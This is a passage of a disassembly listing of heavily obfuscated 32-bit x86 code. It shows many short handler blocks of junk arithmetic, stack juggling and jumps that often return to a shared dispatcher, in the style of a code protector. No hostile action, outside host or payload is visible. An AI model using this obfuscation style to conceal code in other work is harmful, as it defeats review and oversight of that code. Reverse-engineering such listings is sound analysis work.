		jmp	loc_58E92C
; ---------------------------------------------------------------------------


loc_593AD8:				; CODE XREF: sub_57DD3A+1226Cj
		push	565Ch
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		jmp	loc_59F5E3
; ---------------------------------------------------------------------------


loc_593AE9:				; CODE XREF: sub_57DD3A+1BC2Bj
		mov	ebp, esi
		pop	esi
		pop	edi
		add	edi, ebp
		jmp	loc_592E52
; ---------------------------------------------------------------------------


loc_593AF4:				; CODE XREF: sub_57DD3A+2134Dj
		add	ebp, ecx
		pop	ecx
		jmp	loc_58E862
; ---------------------------------------------------------------------------


loc_593AFC:				; CODE XREF: sub_57DD3A+1F140j
		push	ecx
		mov	ecx, 0E641C5Ah
		not	ecx
		add	ecx, 4186023Ah
		jmp	loc_5A2EFF
; ---------------------------------------------------------------------------


loc_593B0F:				; CODE XREF: sub_57DD3A+117C9j
		add	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp+60h+var_60]
		mov	esp, [esp+60h+var_60]
		mov	[esp+60h+var_60], edi
		push	ebx
		push	286A47AEh
		pop	ebx
		shr	ebx, 6
		push	ebp
		mov	ebp, 4C3A078Dh
		jmp	loc_59128C
; ---------------------------------------------------------------------------


loc_593B39:				; CODE XREF: sub_57DD3A+24327j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+68h+var_68]
		pop	esp
		mov	[esp+64h+var_64], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5927AE
; ---------------------------------------------------------------------------


loc_593B56:				; CODE XREF: sub_57DD3A+1D8FCj
		pop	edx
		add	esp, 4
		push	51C9h
		mov	[esp+64h+var_64], esi
		jmp	loc_5A07E8
; ---------------------------------------------------------------------------


loc_593B6A:				; CODE XREF: sub_57DD3A+25194j
		mov	[esp+64h+var_64], ebx
		push	ebp
		jmp	loc_592657
; ---------------------------------------------------------------------------


loc_593B73:				; CODE XREF: sub_57DD3A+1410Ej
		mov	ebx, 26CA0765h
		jmp	loc_59ABAD
; ---------------------------------------------------------------------------


loc_593B7D:				; CODE XREF: sub_57DD3A+1D9E6j
		pop	esi
		add	edi, ecx
		pop	ecx
		add	edi, 4
		push	edi
		push	[esp+48h+var_46+2]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp+44h+var_46+2]
		push	edi
		jmp	loc_598CBF
; ---------------------------------------------------------------------------


loc_593B99:				; CODE XREF: sub_57DD3A+1765Dj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_593BAB:				; CODE XREF: sub_57DD3A+1997Dj
		or	ebp, 2F1520F1h
		jmp	loc_599CB1
; ---------------------------------------------------------------------------


loc_593BB6:				; CODE XREF: sub_57DD3A+19A6Dj
		mov	edx, [esp+4Ch+var_4C]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_592674
; ---------------------------------------------------------------------------


loc_593BC7:				; CODE XREF: sub_57DD3A+12FA7j
		mov	[esp+5Ch+var_5C], edi
		mov	edi, 781C6A36h
		sub	ecx, 4E1715E9h
		add	ecx, edi
		push	ebx
		mov	ebx, 4E1715E9h
		add	ecx, ebx
		pop	ebx
		pop	edi
		jmp	loc_59F71A
; ---------------------------------------------------------------------------


loc_593BE6:				; CODE XREF: sub_57DD3A+1892Fj
		pop	esp
		push	esi
		mov	esi, 3A8E4079h
		add	eax, esi
		pop	esi
		sub	eax, 659523DBh
		jmp	loc_59BC44
; ---------------------------------------------------------------------------


loc_593BFA:				; CODE XREF: sub_57DD3A+223D5j
		xchg	ebp, [esp+54h+var_54]
		jmp	loc_599338
; ---------------------------------------------------------------------------


loc_593C02:				; CODE XREF: sub_57DD3A+1D7AFj
		pop	[esp+54h+var_54]
		pop	esp
		mov	[esp+4Ch+var_4C], esi
		xor	[esp+4Ch+var_4C], edi
		xor	edi, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], edi
		not	edi
		xchg	edi, [esp+4Ch+var_4C]
		pop	esi
		xchg	esi, [esp+0]
		pop	eax
		push	549Bh
		mov	[esp+0], ecx
		push	1
		push	[esp+4Ch+var_4C]
		push	[esp+50h+var_50]
		jmp	loc_5A0C55
; ---------------------------------------------------------------------------


loc_593C34:				; CODE XREF: sub_57DD3A+244AAj
		pop	ebp
		add	eax, 53D208E2h
		add	eax, ecx
		sub	eax, 53D208E2h
		pop	ecx
		xchg	eax, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_593C50:				; CODE XREF: sub_57DD3A+1D766j
		xor	eax, 2A271356h
		sub	eax, 2DF87865h
		add	ebx, eax
		pop	eax
		jmp	loc_58E40A
; ---------------------------------------------------------------------------


loc_593C62:				; CODE XREF: sub_57DD3A+1BE7Fj
		push	29542EB4h
		pop	esi
		xor	esi, 1D6F468Ah
		mov	ebx, esi
		pop	esi
		sub	ecx, ebx
		mov	ebx, [esp+44h+var_46+2]
		jmp	loc_596E37
; ---------------------------------------------------------------------------


loc_593C7B:				; CODE XREF: sub_57DD3A+22340j
		pop	esi
		jmp	loc_5A231D
; ---------------------------------------------------------------------------


loc_593C81:				; CODE XREF: sub_57DD3A+16A43j
		push	[esp+40h+var_42+2]
		mov	eax, [esp+44h+var_46+2]
		jmp	loc_5949A7
; ---------------------------------------------------------------------------


loc_593C8C:				; CODE XREF: sub_57DD3A+12511j
		pop	edx
		jmp	loc_58F709
; ---------------------------------------------------------------------------


loc_593C92:				; CODE XREF: sub_57DD3A+134E6j
		push	ebx
		jmp	loc_59C301
; ---------------------------------------------------------------------------


loc_593C98:				; CODE XREF: sub_57DD3A+17956j
		push	537h
		push	63C7h
		mov	[esp+24h+var_26+2], esp
		jmp	loc_5A1523
; ---------------------------------------------------------------------------


loc_593CAA:				; CODE XREF: sub_57DD3A+21655j
		sub	ebx, ebp
		pop	ebp
		sub	ebp, 49825DEEh
		add	ebp, ebx
		add	ebp, 49825DEEh
		pop	ebx
		jmp	loc_59CBCB
; ---------------------------------------------------------------------------


loc_593CC1:				; CODE XREF: sub_57DD3A+11A6Aj
		mov	edi, 74DE31ADh
		shl	edi, 2
		dec	edi
		jmp	loc_5963E3
; ---------------------------------------------------------------------------


loc_593CCF:				; CODE XREF: sub_57DD3A+234E8j
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		jmp	loc_598B4A
; ---------------------------------------------------------------------------


loc_593CE3:				; CODE XREF: sub_57DD3A+21D78j
		xor	ebx, 77F877F8h
		jmp	loc_59581B
; ---------------------------------------------------------------------------


loc_593CEE:				; CODE XREF: sub_57DD3A+1DC32j
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		push	76AFh
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 2ED91D7Ch
		sub	ebp, 21CD338Ch
		or	ebp, 0C4F3AF3h
		xor	ebp, 52CF56DCh
		neg	ebp
		jmp	loc_590597
; ---------------------------------------------------------------------------


loc_593D1D:				; CODE XREF: sub_57DD3A+1D94Aj
		xor	edi, [esp+3Eh+var_3E]
		xor	[esp+3Eh+var_3E], edi
		jmp	loc_59BF1C
; ---------------------------------------------------------------------------


loc_593D28:				; CODE XREF: sub_57DD3A+194A9j
		push	[esp+3Eh+var_3A]
		pop	ebp
		pop	[esp+3Eh+var_3E]
		mov	esp, [esp+3Ah+var_3A]
		push	18DAh
		mov	[esp+3Eh+var_3E], ecx
		push	70A2h
		jmp	loc_591143
; ---------------------------------------------------------------------------


loc_593D45:				; CODE XREF: sub_57DD3A+22FCAj
		pop	esp
		inc	ebx
		not	ebx
		or	ebx, 220748Bh
		jmp	loc_598838
; ---------------------------------------------------------------------------


loc_593D54:				; CODE XREF: sub_57DD3A+1526Dj
		push	esi
		push	53DD2EA3h
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		push	ebx
		mov	ebx, 15BD685Eh
		and	ebx, 158356F1h
		shl	ebx, 3
		shl	ebx, 3
		xor	ebx, 5EBE0472h
		jmp	loc_591525
; ---------------------------------------------------------------------------


loc_593D7D:				; CODE XREF: sub_57DD3A+12679j
		xor	edx, ebp
		jmp	loc_59B5BD
; ---------------------------------------------------------------------------


loc_593D84:				; CODE XREF: sub_57DD3A+18970j
		mov	esp, [esp-4+arg_0]
		push	ebp
		push	4
		pop	ebp
		jmp	loc_58FB09
; ---------------------------------------------------------------------------


loc_593D93:				; CODE XREF: sub_57DD3A+19CC2j
		pop	ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 1B933471h
		shr	esi, 4
		inc	esi
		shr	esi, 7
		push	eax
		mov	eax, 0FFFFFFFFh
		add	esi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	esi, 1
		add	esi, 4CC9A50Ah
		sub	eax, esi
		jmp	loc_5A0235
; ---------------------------------------------------------------------------


loc_593DC7:				; CODE XREF: sub_57DD3A+16883j
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 591B5EAAh
		neg	ecx
		xor	ecx, 840BAED9h
		add	esi, ecx
		pop	ecx
		add	edi, esi
		pop	esi
		sub	edi, 4
		jmp	loc_59E0EB
; ---------------------------------------------------------------------------


loc_593DEB:				; CODE XREF: sub_57DD3A+16365j
		mov	ecx, [esp-4+arg_0]
		jmp	loc_599057
; ---------------------------------------------------------------------------


loc_593DF3:				; CODE XREF: sub_57DD3A+1A789j
		shl	edx, 6
		push	esi
		mov	esi, 1FA2ACDh
		not	esi
		not	esi
		not	esi
		or	esi, 6CB41105h
		dec	esi
		jmp	loc_590EF6
; ---------------------------------------------------------------------------


loc_593E0E:				; CODE XREF: sub_57DD3A+24170j
		add	ebx, ecx
		pop	ecx
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp-4+arg_0]
		jmp	loc_5A0E40
; ---------------------------------------------------------------------------


loc_593E2A:				; CODE XREF: sub_57DD3A+106CBj
		add	esp, 4
		jmp	loc_5990B2
; ---------------------------------------------------------------------------


loc_593E32:				; CODE XREF: sub_57DD3A+19006j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], eax
		jmp	loc_5A1B5D
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_59EA79
; ---------------------------------------------------------------------------


loc_593E4D:				; CODE XREF: sub_57DD3A+1D6C7j
		push	edx
		mov	edx, 4953081Ah
		mov	ebp, edx
		pop	edx
		mov	esi, 0AC8E54FFh
		sub	esi, 415F7239h
		sub	esi, ebp
		add	esi, 415F7239h
		pop	ebp
		add	esi, 0E9639BFh
		shr	esi, 3
		shl	esi, 1
		shl	esi, 5
		neg	esi
		xor	esi, 6929E46Bh
		add	ebp, esi
		pop	esi
		jmp	loc_58F607
; ---------------------------------------------------------------------------


loc_593E88:				; CODE XREF: sub_57DD3A+1225Bj
		sub	eax, 3B5C4EDEh
		add	eax, 9D501E4h
		mov	ebx, [esp+50h+var_50]
		add	esp, 4
		push	1010h
		mov	[esp+50h+var_50], ebx
		push	674C4999h
		pop	ebx
		jmp	loc_5A10C3
; ---------------------------------------------------------------------------


loc_593EAE:				; CODE XREF: sub_57DD3A+205D0j
		neg	esi
		add	esi, 0D9C38AD0h
		xor	ebp, esi
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		add	ebp, 137A3875h
		neg	ebp
		inc	ebp
		push	34A1h
		mov	[esp+50h+var_50], edx
		jmp	loc_599426
; ---------------------------------------------------------------------------


loc_593ED7:				; CODE XREF: sub_57DD3A+2512Ej
		mov	edi, [esp+50h+var_50]
		jmp	loc_5A06F4
; ---------------------------------------------------------------------------


loc_593EDF:				; CODE XREF: sub_57DD3A+1CECEj
		mov	edi, 370301C3h
		jmp	loc_5944DA
; ---------------------------------------------------------------------------


loc_593EE9:				; CODE XREF: sub_57DD3A+21934j
		push	[esp+50h+var_50]
		jmp	loc_5952C8
; ---------------------------------------------------------------------------


loc_593EF1:				; CODE XREF: sub_57DD3A+1AB67j
		shr	edi, 5
		add	edi, 51682687h
		xor	ecx, edi
		pop	edi
		mov	ebp, ecx
		jmp	loc_59169E
; ---------------------------------------------------------------------------


loc_593F04:				; DATA XREF: sub_57DD3A+1038Eo
		mov	ax, word ptr [esp+50h+var_50]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59CB62
; ---------------------------------------------------------------------------


loc_593F1C:				; CODE XREF: sub_57DD3A+116E7j
		mov	edi, 454415Dh
		xor	ebx, edi
		pop	edi
		and	ebx, 291D2514h
		shr	ebx, 8
		add	ebx, 16336272h
		sub	edx, ebx
		jmp	loc_59F00F
; ---------------------------------------------------------------------------


loc_593F3A:				; CODE XREF: sub_57DD3A+1FADAj
		shl	esi, 6
		push	ebx
		mov	ebx, 46AD6BDCh
		sub	esi, ebx
		pop	ebx
		push	edx
		jmp	loc_5A1B47
; ---------------------------------------------------------------------------


loc_593F4C:				; CODE XREF: sub_57DD3A+1674Dj
		push	2B32h
		mov	[esp], ebx
		mov	bl, 52h
		shr	bl, 7
		shr	bl, 6
		and	bl, 26h
		push	cx
		mov	ch, 9Ch
		add	ch, 0F8h
		dec	ch
		sub	ch, 87h
		jmp	loc_59A36C
; ---------------------------------------------------------------------------


loc_593F70:				; CODE XREF: sub_57DD3A+22F44j
		sub	ecx, 4
		xchg	ecx, [esp+4Ah+var_4C+2]
		pop	esp
		mov	[esp+46h+var_46], ecx
		pop	eax
		pop	ecx
		push	ebp
		push	ecx
		push	13EF38CAh
		push	[esp+4Ah+var_4C+2]
		pop	ecx
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Eh+var_50+2]
		pop	esp
		shr	ecx, 5
		push	edi
		mov	edi, 3CE46E1Bh
		inc	edi
		jmp	loc_598894
; ---------------------------------------------------------------------------


loc_593FB1:				; CODE XREF: sub_57DD3A+154E9j
		sub	ebx, 37D562BCh
		add	ebx, ebp
		add	ebx, 37D562BCh
		mov	ebp, [esp+0]
		jmp	loc_59D057
; ---------------------------------------------------------------------------


loc_593FC7:				; CODE XREF: sub_57DD3A+10882j
		xor	ecx, eax
		xor	eax, ecx
		push	1A47h
		mov	[esp+18h+var_1A+2], ecx
		push	ebp
		push	[esp+1Ch+var_1A+2]
		pop	ebp
		pop	[esp+1Ch+var_1E+2]
		not	ebp
		push	2112h
		mov	[esp+1Ch+var_1E+2], ebp
		push	[esp+1Ch+var_1A+2]
		pop	ebp
		pop	[esp+1Ch+var_1E+2]
		push	[esp+18h+var_1A+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0BC9
; ---------------------------------------------------------------------------


loc_594000:				; CODE XREF: sub_57DD3A+16A0Dj
		inc	word ptr [esp+1Ch+var_1E+2]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59400A:				; CODE XREF: sub_57DD3A+157AEj
		neg	ebx
		shl	ebx, 1
		sub	ebx, 66F61480h
		jmp	loc_59D03A
; ---------------------------------------------------------------------------


loc_594019:				; CODE XREF: sub_57DD3A+1CAB9j
		not	ebp
		or	ebp, 4B8504EAh
		dec	ebp
		and	ebp, 7257B0Fh
		sub	ebp, 857993F0h
		add	esi, ebp
		pop	ebp
		add	esi, edx
		sub	esi, 7DAB6E1Eh
		push	ecx
		mov	ecx, 134069Fh
		push	esi
		mov	esi, 442F5796h
		add	esi, 6974074Ah
		jmp	loc_59DA0C
; ---------------------------------------------------------------------------


loc_594050:				; CODE XREF: sub_57DD3A+2027Ej
		sub	ecx, 234270FCh
		add	ecx, ebx
		add	ecx, 234270FCh
		add	[ecx], eax
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		push	[esp+1Eh+var_1E]
		pop	ebx
		jmp	loc_593081
; ---------------------------------------------------------------------------


loc_594072:				; CODE XREF: sub_57DD3A+1B4F8j
		mov	esi, ebp
		jmp	loc_58E7AB
; ---------------------------------------------------------------------------


loc_594079:				; CODE XREF: sub_57DD3A+16371j
		push	ebx
		mov	ebx, 15C3AC14h
		jmp	loc_59CC9B
; ---------------------------------------------------------------------------


loc_594084:				; CODE XREF: sub_57DD3A+1F911j
		mov	eax, 38C95DFCh
		push	ebp
		jmp	loc_59F133
; ---------------------------------------------------------------------------


loc_59408F:				; CODE XREF: sub_57DD3A+1E306j
		add	ch, bl
		pop	ebx
		not	ch
		or	ch, 0Fh
		shr	ch, 5
		sub	ch, 30h
		sub	al, ch
		jmp	loc_593DEB
; ---------------------------------------------------------------------------


loc_5940A4:				; CODE XREF: sub_57DD3A+1147Ej
		mov	eax, 2B875830h
		shr	eax, 1
		jmp	loc_594079
; ---------------------------------------------------------------------------


loc_5940B0:				; CODE XREF: sub_57DD3A+21426j
		mov	ebp, 12DE4E29h
		xor	ebp, 7F696BCAh
		add	ebp, 9543598Dh
		sub	ebp, 278158F3h
		shl	ebp, 7
		xor	ebp, 3EB690Ah
		xchg	ecx, ebp
		push	ecx
		not	[esp+10h+var_12+2]
		pop	ecx
		xchg	ecx, ebp
		inc	ebp
		xor	ebp, 4087A872h
		jmp	loc_590BE9
; ---------------------------------------------------------------------------


loc_5940E5:				; CODE XREF: sub_57DD3A+1C42Aj
		add	esp, 4
		push	ebp
		jmp	loc_59202A
; ---------------------------------------------------------------------------


loc_5940EE:				; CODE XREF: sub_57DD3A+119D8j
		mov	[esp+88h+var_88], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 2
		xchg	ebx, [esp+88h+var_88]
		pop	esp
		push	4938h
		mov	[esp+88h+var_88], edx
		mov	dh, 6
		push	ecx
		mov	cl, 0E4h
		jmp	loc_59BAB8
; ---------------------------------------------------------------------------


loc_594118:				; CODE XREF: sub_57DD3A+18F91j
		shr	esi, 3
		jmp	loc_5964FE
; ---------------------------------------------------------------------------


loc_594120:				; CODE XREF: sub_57DD3A+16D35j
		push	13AC2CA0h
		jmp	loc_59BE40
; ---------------------------------------------------------------------------


loc_59412A:				; CODE XREF: sub_57DD3A+17537j
		xchg	eax, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], ecx
		push	esp
		mov	ecx, [esp+90h+var_90]
		push	edi
		mov	edi, esp
		jmp	loc_58F861
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+94h+var_94]
		push	edi
		push	esp
		jmp	loc_58E969
; ---------------------------------------------------------------------------


loc_594148:				; CODE XREF: sub_57DD3A+1354Dj
		pop	esp
		push	53FFh
		mov	[esp+52h+var_54+2], ebx
		push	7B03h
		mov	[esp+56h+var_58+2], ecx
		push	5C5F7AD0h
		pop	ecx
		sub	ecx, 4F4F1692h
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 3
		sub	ebx, 1A20C85h
		jmp	loc_59525A
; ---------------------------------------------------------------------------


loc_594176:				; CODE XREF: sub_57DD3A+1B241j
		sub	ecx, 4
		xchg	ecx, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, 36781528h
		push	488Bh
		mov	[esp+52h+var_54+2], edi
		push	3DB83209h
		pop	edi
		sub	edi, 449C6CD2h
		push	2815h
		mov	[esp+56h+var_58+2], ecx
		jmp	loc_59CADD
; ---------------------------------------------------------------------------


loc_5941A9:				; DATA XREF: sub_57DD3A+1050Eo
		mov	cx, word ptr [esp+56h+var_58+2]
		sub	esp, 4
		jmp	loc_58EB7E
; ---------------------------------------------------------------------------


loc_5941B8:				; CODE XREF: sub_57DD3A+1F069j
		pop	edx
		sub	esi, 0F4499C8h
		jmp	loc_5A0A9A
; ---------------------------------------------------------------------------


loc_5941C4:				; CODE XREF: sub_57DD3A+24C86j
		xor	esi, 7C892577h
		add	edx, 70E17412h
		add	edx, esi
		sub	edx, 70E17412h
		jmp	loc_59F11D
; ---------------------------------------------------------------------------


loc_5941DD:				; CODE XREF: sub_57DD3A+1E8B7j
		xor	ebp, 6A3B3696h
		jmp	loc_590FA4
; ---------------------------------------------------------------------------


loc_5941E8:				; CODE XREF: sub_57DD3A+11760j
		pop	edx
		sub	esi, 3D16D73Eh
		add	eax, esi
		jmp	loc_58F216
; ---------------------------------------------------------------------------


loc_5941F6:				; CODE XREF: sub_57DD3A+1B6C0j
		xor	edx, 92561A10h
		mov	ecx, edx
		pop	edx
		add	ecx, 1
		and	ecx, 17706610h
		jmp	loc_59EAA9
; ---------------------------------------------------------------------------


loc_594210:				; CODE XREF: sub_57DD3A+151BFj
		not	ebp
		not	ebp
		sub	ebp, 9F71F8C8h
		jmp	loc_59EF6D
; ---------------------------------------------------------------------------


loc_59421F:				; CODE XREF: sub_57DD3A+19872j
		mov	edx, 58A80E18h
		jmp	loc_595EAE
; ---------------------------------------------------------------------------


loc_594229:				; CODE XREF: sub_57DD3A+1FFD8j
		sub	edx, 0EBD9BFA8h
		jmp	loc_59D268
; ---------------------------------------------------------------------------


loc_594234:				; CODE XREF: sub_57DD3A+1D086j
		push	6C1A1536h
		jmp	loc_59594E
; ---------------------------------------------------------------------------


loc_59423E:				; CODE XREF: sub_57DD3A+1EA8Cj
		pop	esp
		push	2BB7h
		mov	[esp+52h+var_54+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_594C33
; ---------------------------------------------------------------------------


loc_59425C:				; CODE XREF: sub_57DD3A+10EA8j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		mov	[esp+1Ah+var_1A], esi
		push	ebp
		push	0AB24740h
		jmp	loc_595610
; ---------------------------------------------------------------------------


loc_59427B:				; CODE XREF: sub_57DD3A+1B3A8j
		mov	esi, 83C2D69h
		mov	eax, 0B40BE917h
		xor	eax, esi
		jmp	loc_59D383
; ---------------------------------------------------------------------------


loc_59428C:				; DATA XREF: sub_57DD3A+103EEo
		neg	word ptr [esp+22h+var_22]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_594296:				; CODE XREF: sub_57DD3A+2003Dj
		sub	eax, 7D351E8Ah
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		dec	edx
		not	edx
		xchg	eax, edx
		or	eax, 1D455F78h
		inc	eax
		jmp	loc_5A03FD
; ---------------------------------------------------------------------------


loc_5942B0:				; CODE XREF: sub_57DD3A+1F363j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+26h+var_26]
		pop	esp
		pop	[esp+22h+var_22]
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_5982C3
; ---------------------------------------------------------------------------


loc_5942C8:				; CODE XREF: sub_57DD3A+1F933j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+22h+var_22]
		pop	esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], edi
		push	7F5Ch
		mov	[esp+22h+var_22], ebp
		push	67776329h
		push	[esp+26h+var_26]
		pop	ebp
		add	esp, 4
		jmp	loc_59A703
; ---------------------------------------------------------------------------


loc_594304:				; CODE XREF: sub_57DD3A+17088j
		add	[esp+22h+var_1E], 22C377E4h
		add	[esp+22h+var_1E], 65A57404h
		sub	[esp+22h+var_1E], 0D275E55h
		push	ebx
		mov	ebx, 32A44455h
		add	[esp+26h+var_1E], ebx
		pop	ebx
		pop	ebp
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	1FF7h
		mov	[esp+1Eh+var_1E], edx
		mov	edx, 0F6D51DEh
		jmp	loc_592ED5
; ---------------------------------------------------------------------------


loc_594340:				; CODE XREF: sub_57DD3A+1F17Dj
		push	eax
		sub	esp, 4
		mov	[esp+26h+var_26], esp
		add	[esp+26h+var_26], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp+22h+var_22]
		xor	[esp+22h+var_22], eax
		xor	eax, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], ecx
		sub	esp, 4
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		jmp	loc_591DD9
; ---------------------------------------------------------------------------


loc_594373:				; CODE XREF: sub_57DD3A+15C5Cj
		add	esp, 4
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		pop	esp
		xor	[esp+0], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59438A:				; CODE XREF: sub_57DD3A+15963j
		push	4718h
		mov	[esp+54h+var_54], ebp
		push	1E33h
		mov	[esp+58h+var_58], esi
		mov	esi, 1A45F4Eh
		push	ebx
		mov	ebx, 3EDF5F86h
		neg	ebx
		inc	ebx
		xor	ebx, 12300F0Ch
		not	ebx
		xor	ebx, 2D4B0FC2h
		add	esi, 665258B3h
		sub	esi, ebx
		sub	esi, 665258B3h
		mov	ebx, [esp+5Ch+var_5C]
		sub	esp, 4
		mov	[esp+60h+var_60], edx
		jmp	loc_598C78
; ---------------------------------------------------------------------------


loc_5943D5:				; CODE XREF: sub_57DD3A+11DBAj
		push	[esp+18h+var_1A+2]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		mov	bh, 65h
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		mov	ah, 0D2h
		jmp	loc_59D577
; ---------------------------------------------------------------------------


loc_5943F4:				; CODE XREF: sub_57DD3A+24A83j
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		jmp	loc_5911C1
; ---------------------------------------------------------------------------


loc_5943FE:				; CODE XREF: sub_57DD3A+21EA9j
		add	edi, 317E74FDh
		not	edi
		jmp	loc_59789B
; ---------------------------------------------------------------------------


loc_59440B:				; CODE XREF: sub_57DD3A+242ABj
		pop	edi
		add	edx, 0FEA14CBh
		jmp	loc_59B18E
; ---------------------------------------------------------------------------


loc_594417:				; CODE XREF: sub_57DD3A+10C4Bj
		sub	ch, 0EEh
		jmp	loc_59E124
; ---------------------------------------------------------------------------


loc_59441F:				; CODE XREF: sub_57DD3A+10D75j
		add	eax, 0EE23E87h
		jmp	loc_5A25B7
; ---------------------------------------------------------------------------


loc_594429:				; CODE XREF: sub_57DD3A+212E0j
		mov	ecx, 67D396Eh
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edi
		jmp	loc_595B18
; ---------------------------------------------------------------------------


loc_59443F:				; CODE XREF: sub_57DD3A+13574j
		add	edi, 0FFFFFFFFh
		or	edi, 3370236Ch
		jmp	loc_5978DA
; ---------------------------------------------------------------------------


loc_59444D:				; CODE XREF: sub_57DD3A+23E8Dj
		mov	edx, 1C44343Ah
		jmp	loc_594C7C
; ---------------------------------------------------------------------------


loc_594457:				; CODE XREF: sub_57DD3A+1F2FBj
		xor	dl, cl
		neg	cl
		jmp	loc_59DF87
; ---------------------------------------------------------------------------


loc_594460:				; CODE XREF: sub_57DD3A+14220j
		pop	esi
		jmp	loc_59952B
; ---------------------------------------------------------------------------


loc_594466:				; CODE XREF: sub_57DD3A+1136Aj
		or	ebx, 47535981h
		sub	ebx, 660A01C2h
		jmp	loc_5988CC
; ---------------------------------------------------------------------------


loc_594477:				; CODE XREF: sub_57DD3A+108D7j
		add	byte ptr [esp+10h+var_12+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_594480:				; CODE XREF: sub_57DD3A+11987j
		sub	al, bl
		sub	al, 0F2h
		pop	ebx
		pop	cx
		jmp	loc_593F4C
; ---------------------------------------------------------------------------


loc_59448C:				; CODE XREF: sub_57DD3A+12DA9j
		add	esp, 4
		jmp	loc_59CBA8
; ---------------------------------------------------------------------------


loc_594497:				; CODE XREF: sub_57DD3A+24B34j
		add	eax, esi
		jmp	loc_59E8E7
; ---------------------------------------------------------------------------


loc_59449E:				; CODE XREF: sub_57DD3A+167ABj
		sub	ebx, 96D08B9Ch
		add	esi, ebx
		jmp	loc_5921F4
; ---------------------------------------------------------------------------


loc_5944AB:				; CODE XREF: sub_57DD3A+1FEF4j
		mov	eax, edi
		push	edi
		jmp	loc_58F8A6
; ---------------------------------------------------------------------------


loc_5944B3:				; CODE XREF: sub_57DD3A+14352j
		and	ebx, edx
		push	[esp+44h+var_46+2]
		pop	edx
		push	edi
		jmp	loc_59F14F
; ---------------------------------------------------------------------------


loc_5944BF:				; CODE XREF: sub_57DD3A+24DD4j
		push	1
		pop	edi
		push	400h
		mov	[esp+4Ch+var_4C], edi
		add	[esp+4Ch+var_4C], 56254B41h
		pop	eax
		jmp	loc_5994F7
; ---------------------------------------------------------------------------


loc_5944DA:				; CODE XREF: sub_57DD3A+161AAj
		or	ebx, edi
		mov	edi, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_59449E
; ---------------------------------------------------------------------------


loc_5944EA:				; CODE XREF: sub_57DD3A+22694j
		add	ebx, 4
		xchg	ebx, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		add	ebp, 4
		xchg	ebp, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		xor	edi, 2B0672EBh
		add	edi, 157F7719h
		sub	edi, 632647EAh
		jmp	loc_59C37A
; ---------------------------------------------------------------------------


